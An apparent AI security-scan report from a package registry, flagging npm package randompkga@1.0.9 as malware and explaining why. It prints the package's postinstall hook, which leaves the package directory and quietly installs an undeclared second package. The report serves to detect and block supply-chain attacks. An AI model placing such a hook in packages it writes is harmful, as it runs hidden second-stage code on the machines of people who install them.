registry / randompkga / 1.0.9

randompkga@1.0.9

AI Security Review

scanned 1d ago · by lpm-firewall-ai

Installing this package triggers an undeclared second-package installation from outside the package directory. That package may execute arbitrary lifecycle code during the original install.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm install of randompkga

Impact

Unconsented install-time dependency injection and potential arbitrary code execution.

Mechanism

postinstall installs an undeclared remote package from ../..

Attack narrative

During npm installation, the postinstall hook escapes two directory levels and installs randompkgb without declaring it in the manifest. This conceals a second-stage package from normal dependency review and permits its lifecycle scripts to execute in the consumer project context.

Rationale

The manifest contains a concrete, unconsented install-time second-stage package installation outside its own directory. This is a dependency-injection payload chain, not a package-aligned runtime feature.

Evidence

package.json../../node_modules/randompkgb

Decision evidence

public snapshot

AI called this Malicious at 97.0% confidence as Malware with low false-positive risk.

Evidence for block

`postinstall` changes two directories upward and runs `npm i randompkgb`.
The installed package is not declared as a dependency, obscuring the install-time payload.

Evidence against

No package source files beyond the manifest were present.
No direct network endpoint, credential harvesting, or file exfiltration code was found.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

ManifestNo manifest risk signals triggered.

scanned 0 file(s), 0 B of source

Source & flagged code

3 flagged

package.jsonView file

Lines 1-14json

2 "name": "randompkga",

3 "version": "1.0.9",

4 "description": "",

5 "main": "index.js",

6 "scripts": {

7 "postinstall": "cd ../.. && npm i randompkgb"

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg · L7

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L7

8 },

High

Suspicious Lifecycle Evidence

`postinstall` changes two directories upward and runs `npm i randompkgb`.

package.jsonView on unpkg · L6

9 "keywords": [],

10 "author": "",

11 "license": "ISC",

12 "type": "commonjs"

13}

Source & flagged code

3 flagged · loading source

package.jsonView file

•scripts.postinstall = cd ../.. && npm i randompkgb

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = cd ../.. && npm i randompkgb

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

6"scripts": { "postinstall": "cd ../.. && npm i randompkgb" }

High

Suspicious Lifecycle Evidence

`postinstall` changes two directories upward and runs `npm i randompkgb`.

package.jsonView on unpkg · L6

Findings

1 Critical2 High1 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

HighSuspicious Lifecycle Evidencepackage.json

LowScripts Present